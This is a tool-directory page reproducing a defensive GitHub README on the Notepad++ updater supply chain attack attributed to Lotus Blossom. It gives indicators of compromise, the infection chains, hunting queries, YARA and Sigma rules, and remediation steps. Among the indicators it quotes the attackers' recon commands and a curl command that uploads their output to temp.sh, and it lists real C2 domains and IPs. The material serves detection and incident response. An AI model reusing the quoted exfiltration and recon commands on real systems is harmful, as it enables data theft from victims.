Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
notepadpp-supply-chain-iocs — IoCs and detection rules for the Notepad++ supply chain attack (CVE-2025-15556) — Lotus Blossom APT, June–December 2025. Includes Falcon LogScale queries, YARA/Sigma rules, and MITRE ATT&CK mapping. | Kitploit
Tools/GitHubGitHub/renat0z3r0/notepadpp-supply-chain-iocs
Indicator of Compromise (IOC) ManagementThreat Feeds & AggregatorsVulnerability AnalysisForensicsMalware AnalysisThreat IntelligenceSupply Chain SecurityLearning & EducationIncident Response

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubrenat0z3r0/notepadpp-supply-chain-iocs

notepadpp-supply-chain-iocs

IoCs and detection rules for the Notepad++ supply chain attack (CVE-2025-15556) — Lotus Blossom APT, June–December 2025. Includes Falcon LogScale queries, YARA/Sigma rules, and MITRE ATT&CK mapping.

View Repository
16 months agoNot yet reviewed

Notepad++ Supply Chain Attack — IoC Repository

CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | June – December 2025

Last Updated IoC Count License: MIT MITRE ATT&CK


Overview

This repository contains a comprehensive, consolidated collection of Indicators of Compromise (IoCs) related to the Notepad++ supply chain attack disclosed on February 2, 2026.

Between June and December 2025, a Chinese state-sponsored threat actor compromised the hosting infrastructure of Notepad++, hijacking the built-in update mechanism (WinGUp) to selectively deliver trojanized installers to targeted users. The attack exploited the lack of cryptographic verification in the updater (pre-v8.8.9), enabling the distribution of custom backdoors, Cobalt Strike Beacons, and Metasploit payloads.

Key facts


Infection Chains

Kaspersky GReAT identified three distinct infection chains, rotated approximately monthly to evade detection:

Chain #1 — July/August 2025

root@kitploit:~
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
  → Metasploit downloader → Cobalt Strike Beacon
  • Abuses an old vulnerability in ProShow software instead of DLL sideloading
  • Reconnaissance: whoami && tasklist → exfiltrated via temp.sh
  • Working directory: %appdata%\ProShow\

Chain #2 — September/October 2025

root@kitploit:~
GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
  → shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
  • Uses a legitimate Lua interpreter to execute compiled shellcode
  • Expanded recon: whoami && tasklist && systeminfo && netstat -ano
  • Working directory: %appdata%\Adobe\Scripts\

Chain #3 — October 2025

root@kitploit:~
GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
  → decrypts "BluetoothService" shellcode → Chrysalis backdoor
  • Classic DLL sideloading technique
  • No built-in reconnaissance (unlike chains 1 and 2)
  • Working directory: %appdata%\Bluetooth\
  • Associated Cobalt Strike Beacon found in C:\ProgramData\USOShared\
root@kitploit:~
                     ┌─────────────────────────────────────────────────────────┐
                     │              COMPROMISE TIMELINE                        │
                     ├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
                     │  Jul 25 │  Aug 25 │  Sep 25 │  Oct 25 │  Nov 25 │Dec 25│
                     ├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
  Chain #1 (ProShow) │████████████████████                                    │
  Chain #2 (Lua)     │                    █████████████████████████████        │
  Chain #3 (DLL SL)  │                              ██████████████            │
  Infra access       │████████████████████████████████████████████████████████│
                     └────────────────────────────────────────────────────────┘

Repository Contents

FileDescription
notepadpp_supply_chain_iocs.csvFull IoC dataset (105 indicators) with MITRE ATT&CK mapping

CSV Schema


Detection & Threat Hunting

Priority indicators (start here)

Behavioral — IoC-agnostic, highest value:

  • gup.exe spawning any child process other than a legitimate signed Notepad++ installer
  • gup.exe connecting to domains/IPs other than notepad-plus-plus.org, github.com, release-assets.githubusercontent.com
  • Creation of directories: %appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\
  • Creation of %localappdata%\Temp\ns.tmp\ (NSIS runtime — present in all chains)

Network — high confidence:

  • DNS resolution of cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.com
  • Connections to temp.sh (51.91.79.17) — especially with file upload via curl
  • HTTP requests with temp.sh URLs embedded in the User-Agent header
  • Outbound connections to 45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210

Recon commands (post-exploitation):

root@kitploit:~
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload

CrowdStrike Falcon LogScale queries

Behavioral: GUP.exe child process hunting
root@kitploit:~
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
Multi-IoC hunt across process, network, and DNS events
root@kitploit:~
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
    // Malicious IPs
    RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
        | iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
    // Malicious Domains
    DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
        | iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
    // Suspicious filenames
    ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
        | iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
    // Suspicious DLLs
    ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
        | iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
    // Chain-specific artifacts
    ImageFileName=/\\(alien\.ini|load)$/i
        | iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
    * | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
NSIS installer detection (all chains)
root@kitploit:~
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)

YARA rule (NSIS + recon pattern)

YARA rule for malicious NSIS updater
root@kitploit:~
rule Notepadpp_SupplyChain_MaliciousUpdater {
    meta:
        description = "Detects malicious NSIS installers from Notepad++ supply chain attack"
        author = "Renato Z3r0 ed i miei sorcini"
        date = "2026-02"
        reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
        tlp = "WHITE"
        
    strings:
        $nsis = "Nullsoft.NSIS" ascii
        $recon1 = "whoami" ascii nocase
        $recon2 = "tasklist" ascii nocase
        $recon3 = "systeminfo" ascii nocase
        $recon4 = "netstat -ano" ascii nocase
        $exfil = "temp.sh/upload" ascii nocase
        $curl = "curl" ascii nocase
        $dir1 = "\\ProShow\\" ascii nocase
        $dir2 = "\\Adobe\\Scripts\\" ascii nocase
        $dir3 = "\\Bluetooth\\" ascii nocase
        
    condition:
        uint16(0) == 0x5A4D and
        $nsis and
        (2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
        1 of ($dir*)
}

Sigma rules

Sigma: GUP.exe suspicious child process
root@kitploit:~
title: Notepad++ GUP.exe Suspicious Child Process
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects GUP.exe (Notepad++ updater) spawning suspicious child processes indicative of supply chain compromise
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
    - https://securelist.com/notepad-supply-chain-attack/118708/
    - https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
    - attack.initial_access
    - attack.t1195.002
    - cve.2025.15556
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\gup.exe'
    filter_legitimate:
        Image|endswith:
            - '\npp.Installer.x64.exe'
            - '\npp.Installer.exe'
    condition: selection_parent and not filter_legitimate
falsepositives:
    - Legitimate Notepad++ installers with non-standard naming
level: high
Sigma: Recon commands with temp.sh exfiltration
root@kitploit:~
title: Reconnaissance Data Exfiltration via temp.sh
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects system reconnaissance followed by data upload to temp.sh, as observed in Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
    - https://securelist.com/notepad-supply-chain-attack/118708/
tags:
    - attack.exfiltration
    - attack.t1567
    - attack.discovery
    - attack.t1082
logsource:
    category: process_creation
    product: windows
detection:
    selection_curl:
        CommandLine|contains:
            - 'temp.sh/upload'
            - 'temp.sh'
        Image|endswith: '\curl.exe'
    condition: selection_curl
falsepositives:
    - Legitimate use of temp.sh file sharing service (rare in corporate environments)
level: high
Sigma: Malicious domain resolution
root@kitploit:~
title: Notepad++ Supply Chain C2 Domain Resolution
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects DNS resolution of C2 domains associated with the Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
    - https://securelist.com/notepad-supply-chain-attack/118708/
    - https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
    - attack.command_and_control
    - attack.t1071.001
logsource:
    category: dns_query
    product: windows
detection:
    selection:
        QueryName|endswith:
            - 'cdncheck.it.com'
            - 'safe-dns.it.com'
            - 'self-dns.it.com'
            - 'api.skycloudcenter.com'
            - 'api.wiresguard.com'
    condition: selection
falsepositives:
    - Very unlikely in corporate environments
level: critical

MITRE ATT&CK Mapping


References


Immediate Actions

  1. Identify all endpoints with Notepad++ installed (any version < 8.9.1)
  2. Hunt for gup.exe spawning unexpected child processes between June–December 2025
  3. Search network logs for connections to the C2 domains and IPs listed above
  4. Check for the filesystem artifacts (%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\)
  5. Update Notepad++ to v8.9.1+ using a manually downloaded installer from the official GitHub releases
  6. Remove any old custom root certificates installed by previous Notepad++ versions
  7. Isolate and triage any endpoint showing positive indicators

Changelog

DateChange
2026-02-09Initial release — 105 IoCs consolidated from Kaspersky, Rapid7, CrowdStrike, Tenable

License

This repository is provided under the MIT License. IoCs are aggregated from public sources for defensive purposes only.


Contributing

Contributions are welcome. If you have additional IoCs, detection rules, or corrections:

  1. Fork the repository
  2. Add your indicators to the CSV (maintaining the schema)
  3. Submit a pull request with references to the source

Disclaimer: This repository is intended for defensive cybersecurity purposes only. The IoCs and detection rules are provided as-is to help organizations assess their exposure to this supply chain compromise.

Download Tool
CVECVE-2025-15556 — Download of code without integrity check
Threat ActorLotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon)
Active PeriodJune 2025 – December 2, 2025
Attack VectorSupply chain compromise via WinGUp auto-updater
TargetsGovernment, telecom, financial services, IT providers (Philippines, Vietnam, El Salvador, Australia, East Asia)
MalwareChrysalis backdoor (custom), Cobalt Strike Beacon, Metasploit Meterpreter
Patched inNotepad++ v8.8.9+ (certificate verification) / v8.9.1+ (XMLDSig validation)
ColumnDescription
ioc_typeType: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window
ioc_valueThe indicator value
chainInfection chain (1, 2, 3, 1/2, 2/3, all, n/a)
contextDescription of what the IoC represents
sourceIntelligence source (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont)
riskSeverity (CRITICAL, HIGH, MEDIUM, LOW, INFO)
mitre_techniqueMITRE ATT&CK technique ID
TacticTechniqueIDUsage in this campaign
Initial AccessSupply Chain Compromise: Compromise Software Supply ChainT1195.002Hijacked WinGUp update mechanism
ExecutionCommand and Scripting Interpreter: Windows Command ShellT1059.003Recon via cmd.exe
ExecutionCommand and Scripting Interpreter: Python/LuaT1059.006Chain #2 Lua interpreter
ExecutionExploitation for Client ExecutionT1203Chain #1 ProShow vulnerability
ExecutionNative APIT1106EnumWindowStationsW for shellcode execution
PersistenceHijack Execution Flow: DLL Side-LoadingT1574.002Chain #3 log.dll sideloading
Defense EvasionObfuscated Files or InformationT1027Encrypted shellcode, XOR key "CRAZY"
Defense EvasionMasquerading: Match Legitimate NameT1036.005BluetoothService.exe, update.exe, AutoUpdater.exe
DiscoverySystem Information DiscoveryT1082whoami, systeminfo, tasklist, netstat
CollectionData Staged: Local Data StagingT1074.001Recon output saved to .txt files
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001HTTPS C2 via Cobalt Strike, Chrysalis
Command and ControlEncrypted ChannelT1573CS Beacon encrypted config
Command and ControlIngress Tool TransferT1105Metasploit downloader fetching CS Beacon
ExfiltrationExfiltration Over Web ServiceT1567Upload to temp.sh
SourceLink
Kaspersky GReAT — Unnoticed execution chains and new IoCssecurelist.com
Rapid7 — Chrysalis Backdoor: Dive into Lotus Blossom's Toolkitrapid7.com
Notepad++ Official Disclosure — Hijacked Incident Info Updatenotepad-plus-plus.org
Kevin Beaumont — Initial disclosure and attributionDoublePulsar
Tenable — FAQ about Notepad++ Supply Chain Compromisetenable.com
Orca Security — Update Hijack Analysis & Remediationorca.security
CSO Online — Chinese APT sophisticated supply chain attackcsoonline.com